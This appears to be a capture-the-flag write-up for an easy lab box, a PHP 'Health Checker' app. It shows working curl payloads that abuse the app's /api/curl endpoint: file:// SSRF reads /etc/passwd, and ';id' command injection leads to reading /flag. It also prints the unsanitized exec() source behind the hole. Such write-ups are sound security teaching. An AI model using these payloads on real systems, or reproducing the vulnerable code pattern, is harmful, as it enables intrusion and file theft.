Machine Overview
| Field | Value |
|---|---|
| Name | Curl (Health Checker v1.0) |
| Difficulty | Easy |
| OS | Debian 12 (bookworm) container, Talos K8s pod |
| IP | 154.57.164.69:36904 |
| App | PHP + nginx, custom MVC (Router/CurlController/CommandModel) |
| Kernel | 6.18.24-talos |
| Ports | 36904 (nginx HTTP) |
Flags
| Level | Path | Value |
|---|---|---|
| Flag | /flag |
[REDACTED] |
Reconnaissance
curl -s -i http://154.57.164.69:36904/
# 200 OK, "Health Checker v1.0", form with host= field
curl -s http://154.57.164.69:36904/static/js/main.js
# fetch('/api/curl', { method:'POST', body:`host=${encodeURIComponent(host.value)}` ...})
Attack Chain
1. Locate the real endpoint
main.js reveals the frontend posts to /api/curl (POST, form-encoded). POSTing to / returns 405 Method Not Allowed.
2. Confirm SSRF via file://
curl -s -X POST http://154.57.164.69:36904/api/curl --data 'host=file:///etc/passwd'
# {"message":"root:x:0:0:root:/root:/bin/bash\n...\nwww:x:1000:1000::/home/www:/bin/sh\n..."}
3. Command injection (the core vuln)
The host field is interpolated into curl -sL $host 2>&1 and run through PHP exec() with no sanitization.
curl -s -X POST http://154.57.164.69:36904/api/curl --data 'host=http://localhost/;id'
# ...uid=1000(www) gid=1000(www) groups=1000(www)
4. Enumerate + read the flag
# ls -la / → -rw-r--r-- 1 root root 78 /flag
cat /flag
# [REDACTED]
Vulnerable Source (recovered from the box)
// controllers/CurlController.php
public function execute($router) {
$host = (isset($_POST['host'])) ? $_POST['host'] : 'http://127.0.0.1/';
$curl = new CommandModel($host);
return json_encode([ 'message' => $curl->exec() ]);
}
// models/CommandModel.php
class CommandModel {
public function __construct($host) {
$this->command = "curl -sL $host 2>&1"; // ← unsanitized
}
public function exec() {
exec($this->command, $output);
return is_array($output) ? implode("\n", $output) : $output;
}
}
Techniques Demonstrated
- JS source review to discover the API endpoint
- SSRF via
file://scheme - OS command injection (
;metacharacter) throughexec() - Filesystem enumeration to locate the world-readable
/flag
Tools Used
curl, Python (urllib helper), PHP source review.
← all writeups